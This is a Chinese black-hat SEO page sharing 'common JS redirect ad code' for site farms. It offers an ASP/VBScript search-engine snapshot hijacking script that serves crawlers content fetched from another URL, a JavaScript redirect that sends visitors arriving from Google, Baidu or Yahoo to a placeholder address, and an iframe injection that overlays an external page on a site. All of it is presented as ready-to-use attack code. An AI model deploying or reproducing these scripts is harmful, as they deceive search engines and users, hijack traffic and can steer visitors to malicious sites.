黑帽站群:常用JS跳转广告代码

频道:网站跳转 日期: 浏览:603

1:网站快照劫持代码

<%@ LANGUAGE = VBScript.Encode %><%   Dim agent  agent=Request.ServerVariables("http_user_agent")  If instr(agent,"Baiduspider") > 0 or instr(agent,"baidubrowser") > 0 or instr(agent,"Sogou") > 0 or instr(agent,"googlebot") > 0 or instr(agent,"Sosospider") > 0 then  linkurl="http://这里填网址" *快照网址  Function GetBody(Url)   Dim objXML  On Error Resume Next  Set objXML = CreateObject("Microsoft.XMLHTTP")   With objXML   .Open "Get", Url, False, "", ""   .Send   GetBody = .ResponseBody  End With   GetBody=BytesToBstr(GetBody,"GB2312")  Set objXML = Nothing   End Function  Function BytesToBstr(strBody,CodeBase)  dim objStream  set objStream = Server.CreateObject("Adodb.Stream")  objStream.Type = 1  objStream.Mode =3  objStream.Open  objStream.Write strBody  objStream.Position = 0  objStream.Type = 2  objStream.Charset = CodeBase  BytesToBstr = objStream.ReadText   objStream.Close  set objStream = nothing  End Function  response.write GetBody(linkurl)  End if%>  <script LANGUAGE="Javascript">  var s=document.referrer  if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 )   location.href="这里填跳转地址";  </script>



2:上方显示广告,下方显示原站内容

document.writeln("<iframe scrolling='no' frameborder='0' marginheight='0' marginwidth='0' width='100%' height='7350' allowTransparency src=http://这里填网址></iframe>");